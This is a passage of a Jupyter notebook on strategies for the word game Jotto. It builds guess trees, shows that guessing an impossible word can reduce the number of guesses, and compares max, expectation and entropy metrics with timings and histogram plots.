"text": [
"Guess 1: wader, Reply: 3, Consistent targets: 319\n",
"Guess 2: sword, Reply: 1, Consistent targets: 131\n",
"Guess 3: paled, Reply: 3, Consistent targets: 56\n",
"Guess 4: cadet, Reply: 4, Consistent targets: 15\n",
"Guess 5: hated, Reply: 5, Consistent targets: 1\n"
]
},
{
"data": {
"text/plain": [
"5"
]
},
"execution_count": 23,
"metadata": {},
"output_type": "execute_result"
}
],
"source": [
"tree = make_tree(max)\n",
"guesser = TreeGuesser(tree)\n",
"\n",
"play_jotto(guesser, verbose=True)"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"# Making Inconsistent Guesses\n",
"\n",
"So far, we have always guessed one of the consistent targets. That seems reasonable; why waste a guess on a word that could not possibly be the target? But it turns out that in some cases it *is* a good strategy to guess such a word.\n",
"\n",
"I will redefine `make_tree` so that it is passed both the list of consistent target words and the complete word list. It also has a flag, `inconsistent`. When this flag is true, any word in the wordlist can be considered as a guess; when false, only consistent targets are considered, as before. "
]
},
{
"cell_type": "code",
"execution_count": 24,
"metadata": {},
"outputs": [],
"source": [
"def make_tree(metric, targets=wordlist, wordlist=wordlist, inconsistent=False) -> Tree:\n",
" \"\"\"Make a tree that guesses to minimize metric(partition_counts(guess, targets)).\"\"\"\n",
" if len(targets) == 1:\n",
" return targets[0]\n",
" else:\n",
" words = wordlist if (inconsistent and len(targets) > 3) else targets\n",
" guess = min(words, key=lambda guess: metric(partition_counts(guess, targets))) \n",
" branches = partition(guess, targets)\n",
" return (guess, {reply: make_tree(metric, branches[reply], wordlist, inconsistent) \n",
" for reply in sorted(branches)})"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"Here we see that by default, `make_tree` behaves just as it did before:"
]
},
{
"cell_type": "code",
"execution_count": 25,
"metadata": {},
"outputs": [
{
"data": {
"text/plain": [
"('bites',\n",
" {1: ('purge', {1: ('sulky', {1: 'hayed', 5: 'sulky'}), 5: 'purge'}),\n",
" 2: 'patsy',\n",
" 5: 'bites'})"
]
},
"execution_count": 25,
"metadata": {},
"output_type": "execute_result"
}
],
"source": [
"make_tree(max, words5)"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"But when allowed `make_tree` to guess an inconsistent word, it comes up with a different tree:"
]
},
{
"cell_type": "code",
"execution_count": 26,
"metadata": {},
"outputs": [
{
"data": {
"text/plain": [
"('dashy', {0: 'purge', 1: 'bites', 2: 'sulky', 3: 'patsy', 4: 'hayed'})"
]
},
"execution_count": 26,
"metadata": {},
"output_type": "execute_result"
}
],
"source": [
"tree5b = make_tree(max, words5, inconsistent=True)\n",
"tree5b"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"This tree guesses an inconsistent word, `dashy`, with the first guess. There is no chance that this is the target, but it sets us up so that we will always be able to get the target on the second guess. That means that both the average and the worst case number of guesses is 2 for `tree5b`:"
]
},
{
"cell_type": "code",
"execution_count": 27,
"metadata": {},
"outputs": [
{
"data": {
"text/plain": [
"[2, 2, 2, 2, 2]"
]
},
"execution_count": 27,
"metadata": {},
"output_type": "execute_result"
}
],
"source": [
"play_jottos(TreeGuesser(tree5b), words5)"
]
},
{
"cell_type": "code",
"execution_count": 28,
"metadata": {},
"outputs": [
{
"data": {
"text/plain": [
"(2, 2)"
]
},
"execution_count": 28,
"metadata": {},
"output_type": "execute_result"
}
],
"source": [
"mean(_), max(_)"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"In contrast, `tree5` has an average score of 2.4, and can take up to four guesses in the worst case:"
]
},
{
"cell_type": "code",
"execution_count": 29,
"metadata": {},
"outputs": [
{
"data": {
"text/plain": [
"[2, 1, 3, 2, 4]"
]
},
"execution_count": 29,
"metadata": {},
"output_type": "execute_result"
}
],
"source": [
"play_jottos(TreeGuesser(tree5), words5)"
]
},
{
"cell_type": "code",
"execution_count": 30,
"metadata": {},
"outputs": [
{
"data": {
"text/plain": [
"(2.4, 4)"
]
},
"execution_count": 30,
"metadata": {},
"output_type": "execute_result"
}
],
"source": [
"mean(_), max(_)"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"So the tree with an inconsistent guess is better both in the average and in the worst case.\n",
"\n",
"# Comparing Metrics\n",
"\n",
"Now we will compare six guessers derived from `make_tree`:\n",
"- Minimizing either `max`, `expectation`, or `negative_entropy`.\n",
"- For each of the above, guessing either consistent targets only or allowing inconsistent targets.\n",
"\n",
"The function `show_metric` makes the appropriate `TreeGuesser` and calls `play_jottos` and `show` to display results:"
]
},
{
"cell_type": "code",
"execution_count": 31,
"metadata": {},
"outputs": [],
"source": [
"def show_metric(metric, inconsistent):\n",
" \"\"\"Show statistics and histogram for a guesser that minimizes `metric` over partition counts.\"\"\"\n",
" tree = make_tree(metric, inconsistent=inconsistent)\n",
" guesser = TreeGuesser(tree)\n",
" show(play_jottos(guesser))"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"# Comparing Metrics with Consistent Guesses Only"
]
},
{
"cell_type": "code",
"execution_count": 32,
"metadata": {},
"outputs": [
{
"name": "stdout",
"output_type": "stream",
"text": [
"mean = 7.15 ± 1.81 guesses; worst = 18\n",
"CPU times: user 12.6 s, sys: 29.5 ms, total: 12.6 s\n",
"Wall time: 12.6 s\n"
]
},
{
"data": {
"image/png": "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\n",
"text/plain": [
"<Figure size 432x288 with 1 Axes>"
]
},
"metadata": {
"needs_background": "light"
},
"output_type": "display_data"
}
],
"source": [
"%time show_metric(max, False)"
]
},
{
"cell_type": "code",
"execution_count": 33,
"metadata": {},
"outputs": [
{
"name": "stdout",
"output_type": "stream",
"text": [
"mean = 7.14 ± 1.82 guesses; worst = 17\n",
"CPU times: user 13 s, sys: 59.7 ms, total: 13.1 s\n",
"Wall time: 13.2 s\n"
]
},
{
"data": {
"image/png": "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